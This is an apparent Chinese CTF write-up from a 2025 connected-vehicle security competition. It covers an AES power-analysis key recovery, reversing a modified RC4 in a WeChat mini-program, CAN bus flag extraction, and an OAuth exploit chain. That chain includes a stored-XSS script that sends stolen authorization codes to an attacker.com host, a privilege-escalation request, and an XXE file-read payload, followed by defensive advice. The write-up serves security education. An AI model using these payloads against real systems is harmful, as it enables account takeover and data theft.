2025 强网杯 车联网赛道writeup
字数 1551 2025-11-11 12:28:52
侧信道攻击与物联网安全实战教学文档
1. AES侧信道攻击实战
1.1 背景与原理
侧信道攻击(Side-Channel Attack) 通过分析密码设备运行时的物理特性(如功耗、电磁辐射、执行时间等)来恢复密钥。本案例针对AES-128算法的硬件实现进行功耗分析。
核心原理:AES第一轮SubBytes操作中,S盒查找操作 SBox(PT[i]⊕k) 的汉明重量与功耗存在线性关系。
1.2 数据集规格
- 文件格式:TRS (TraceSet)
- 轨迹数量:10,000条
- 每条样本数:500个采样点
- 数据编码:每条记录包含32字节数据(16B明文 + 16B密文) + 500个功耗采样点
1.3 攻击实施步骤
步骤1:TRS文件解析
def parse_trs_header(file_path):
# 解析TRS文件头,获取轨迹数、样本数等元数据
pass
def read_traces(file_path, ntraces, nsamples):
# 逐条读取明文、密文和功耗采样数据
traces = []
for i in range(ntraces):
# 读取32字节数据块
data_block = file.read(32)
plaintext = data_block[:16]
ciphertext = data_block[16:32]
# 读取500个功耗采样点
power_samples = np.fromfile(file, dtype=np.float32, count=nsamples)
traces.append((plaintext, ciphertext, power_samples))
return traces
步骤2:数据预处理
def normalize_traces(traces):
# 按列标准化:去均值,除标准差
# traces形状: (ntraces, nsamples)
mean = np.mean(traces, axis=0)
std = np.std(traces, axis=0)
normalized = (traces - mean) / std
return normalized
步骤3:泄漏模型构建
汉明重量模型:
H = HW(SBox(PT[i] ⊕ k))
其中:
PT[i]:明文的第i个字节k:密钥字节猜测值(0-255)HW():汉明重量函数(计算字节中1的个数)SBox():AES的S盒替换函数
步骤4:相关功耗分析(CPA)
def cpa_attack(plaintexts, traces, target_byte):
"""
对特定字节位置进行CPA攻击
"""
ntraces = len(plaintexts)
nsamples = traces.shape[1]
best_correlations = np.zeros(256) # 每个密钥猜测的最佳相关系数
best_poi = np.zeros(256, dtype=int) # 对应的关键采样点
for key_guess in range(256):
# 计算预测泄漏值
hypothetical_leakage = []
for i in range(ntraces):
sbox_input = plaintexts[i][target_byte] ^ key_guess
sbox_output = aes_sbox[sbox_input]
hamming_weight = bin(sbox_output).count('1') # 汉明重量
hypothetical_leakage.append(hamming_weight)
# 计算与每个采样点的相关系数
correlations = np.zeros(nsamples)
for sample_idx in range(nsamples):
corr = np.corrcoef(hypothetical_leakage, traces[:, sample_idx])[0,1]
correlations[sample_idx] = corr if not np.isnan(corr) else 0
# 记录最佳相关值和对应采样点
best_corr_idx = np.argmax(np.abs(correlations))
best_correlations[key_guess] = correlations[best_corr_idx]
best_poi[key_guess] = best_corr_idx
# 选择相关系数绝对值最大的密钥猜测
recovered_key_byte = np.argmax(np.abs(best_correlations))
return recovered_key_byte, best_poi[recovered_key_byte]
步骤5:密钥恢复与验证
def recover_full_key(plaintexts, traces):
key = bytearray(16)
for byte_idx in range(16):
key_byte, poi = cpa_attack(plaintexts, traces, byte_idx)
key[byte_idx] = key_byte
print(f"Byte {byte_idx}: 0x{key_byte:02x} (POI: {poi})")
return bytes(key)
def verify_key(plaintexts, ciphertexts, recovered_key):
# 使用标准AES验证多条样本
aes = AES.new(recovered_key, AES.MODE_ECB)
for i in range(min(50, len(plaintexts))):
encrypted = aes.encrypt(plaintexts[i])
if encrypted != ciphertexts[i]:
return False
return True
1.4 实验结果
- 恢复的AES-128主密钥:
CCAEEED667CD6C04C7ABCCC26DC793F1 - 最后一轮轮密钥:
FAB3F9784AF8FFA45036A473539D04C6 - 验证结果:50条样本全部通过验证
1.5 关键要点
- 泄漏点识别:第一轮SubBytes操作是最佳攻击点
- 数据标准化:提高信噪比,增强相关性
- 批量处理:使用矩阵运算替代循环,显著提升效率
- 多样本验证:确保密钥正确性
2. 微信小程序逆向与RC4密码分析
2.1 逆向分析流程
步骤1:小程序结构分析
微信小程序未加密情况下可直接分析关键文件:
.wxapkg解包获取源码- 定位加密相关函数
步骤2:RC4变种算法识别
// 识别出的RC4变种特征
function rc4_modified(key, data) {
var s = [], k = [];
// KSA阶段:包含额外常数+3
for (var i = 0; i < 256; i++) {
s[i] = i;
k[i] = key.charCodeAt(i % key.length);
}
var j = 0;
for (var i = 0; i < 256; i++) {
j = (j + s[i] + k[i % key.length] + 3) % 256; // 修改点:+3
[s[i], s[j]] = [s[j], s[i]]; // 交换
}
// PRGA阶段
var i = 0, j = 0, result = [];
for (var n = 0; n < data.length; n++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
[s[i], s[j]] = [s[j], s[i]];
var t = (s[i] + s[j]) % 256;
var keystream = s[t] & 0xFF; // 取低8位
result.push(data[n] ^ keystream);
}
return result;
}
步骤3:已知明文攻击实施
def rc4_decrypt_modified(key, ciphertext_hex):
# 密钥固定为"Z1X3Y4E5Z8V2A6H6"
ciphertext = bytes.fromhex(ciphertext_hex)
# 实现修改版的RC4 KSA
s = list(range(256))
j = 0
key_bytes = key.encode('utf-8')
key_length = len(key_bytes)
# 修改的KSA
for i in range(256):
j = (j + s[i] + key_bytes[i % key_length] + 3) % 256
s[i], s[j] = s[j], s[i]
# PRGA
i = j = 0
plaintext = []
for byte in ciphertext:
i = (i + 1) % 256
j = (j + s[i]) % 256
s[i], s[j] = s[j], s[i]
t = (s[i] + s[j]) % 256
keystream = s[t] & 0xFF
plaintext.append(byte ^ keystream)
return bytes(plaintext)
# 解密得到VIN和flag
correct_encrypted = "..." # 16进制密文
key = "Z1X3Y4E5Z8V2A6H6"
decrypted = rc4_decrypt_modified(key, correct_encrypted)
print(f"Flag: FLAG{{{decrypted.hex().upper()}}}") # FLAG{L0J6Q0P7H3E2I5U6H}
3. CAN总线信号分析与Flag提取
3.1 CAN信号映射表解析
信号映射表结构(signal_map.csv):
信号名称, CAN ID, 字节位置, 数据类型
sig_1, 0x123, 0, uint8
sig_2, 0x123, 1, uint8
...
sig_72, 0x456, 7, uint8
3.2 信号分类策略
- sig_1-sig_19:第一类信号类型
- sig_20-sig_39:第二类信号类型
- sig_40-sig_59:第三类信号类型
- sig_60-sig_72:第四类信号类型
3.3 Flag提取算法
import pandas as pd
from collections import Counter
def extract_can_signals(can_log_path, signal_map_path):
# 读取信号映射表
signal_map = pd.read_csv(signal_map_path)
# 解析CAN日志
can_data = parse_can_log(can_log_path)
# 按信号分类提取最后传输的值
flag_chars = {}
for sig_type in ['sig_1-19', 'sig_20-39', 'sig_40-59', 'sig_60-72']:
if sig_type == 'sig_1-19':
signals = [f'sig_{i}' for i in range(1, 20)]
# 其他类型类似处理...
for sig_name in signals:
# 获取该信号的CAN ID和字节位置
can_id = signal_map[signal_map['signal'] == sig_name]['can_id'].iloc[0]
byte_pos = signal_map[signal_map['signal'] == sig_name]['byte'].iloc[0]
# 提取该信号最后传输的值
last_value = extract_last_signal_value(can_data, can_id, byte_pos)
# 转换为ASCII字符
if 32 <= last_value <= 126: # 可打印字符
flag_chars[sig_name] = chr(last_value)
# 按信号顺序拼接Flag
flag = 'flag{'
for i in range(1, 73):
sig_name = f'sig_{i}'
if sig_name in flag_chars:
flag += flag_chars[sig_name]
flag += '}'
return flag
# 提取结果:flag{V3h1cle_N3tw0rk1ng_53cu71ty}
4. OAuth 2.0安全漏洞利用链
4.1 漏洞链概述
- 存储型XSS → 2. OAuth授权码窃取 → 3. 权限提升 → 4. XXE文件读取
4.2 详细攻击步骤
阶段1:XSS Payload构造
<!-- 论坛发布的恶意内容 -->
<script>
window.addEventListener('message', function(event) {
// 监听iframe发送的postMessage
var url = new URL(event.data.url);
var code = url.searchParams.get('code');
if (code) {
// 将授权码外传到攻击者服务器
var img = new Image();
img.src = 'https://attacker.com/steal?code=' + code;
}
});
// 触发OAuth流程
setTimeout(function() {
var oauthUrl = 'https://sso.autocorp.com/oauth/authorize?' +
'response_type=code&' +
'client_id=fleetcorp&' +
'redirect_uri=' + encodeURIComponent('https://fleetcorp.com/forum/quick-actions') +
'&scope=openid%20profile';
window.open(oauthUrl);
}, 1000);
</script>
阶段2:权限提升API调用
POST /fleetcorp/api/v1/user/sso/bind HTTP/1.1
Content-Type: application/json
Authorization: Bearer <attacker_token>
{
"code": "<stolen_authorization_code>"
}
API响应:
{
"success": true,
"message": "SSO account bound successfully",
"role": "ADMIN"
}
阶段3:XXE Payload构造
<!-- 车辆报告生成功能的XXE Payload -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE report [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<vehicleReport>
<vin>&xxe;</vin>
<make>Test</make>
<model>Test</model>
<year>2024</year>
</vehicleReport>
4.3 服务架构分析
Nginx (端口80)
├── FleetCorp App (端口3001) - 主应用
├── AutoCorp Auth (端口5001) - OAuth提供者
└── Report Generator (端口8081) - XML报告生成
5. 安全防护建议
5.1 侧信道攻击防护
- 掩码技术:对中间值添加随机掩码
- 时间随机化:引入随机延迟打乱时序
- 功耗平衡:设计恒定功耗的逻辑电路
5.2 密码实现安全
- 避免自定义密码算法:使用标准经过验证的实现
- 密钥管理:安全的密钥存储和轮换机制
- 代码混淆:对敏感算法进行混淆保护
5.3 Web应用安全
- 输入验证:对所有用户输入进行严格过滤
- Content Security Policy:限制脚本执行来源
- OAuth安全配置:
- 严格验证redirect_uri
- 使用state参数防止CSRF
- 限制授权码生命周期
5.4 车载网络安全
- CAN总线加密:对敏感信号进行加密传输
- 信号认证:使用MAC确保信号完整性
- 网络隔离:关键ECU与信息娱乐系统物理隔离
本教学文档涵盖了从硬件侧信道攻击到Web应用安全的多层次安全技术,提供了完整的实战案例和防护方案,可作为物联网安全研究的综合参考资料。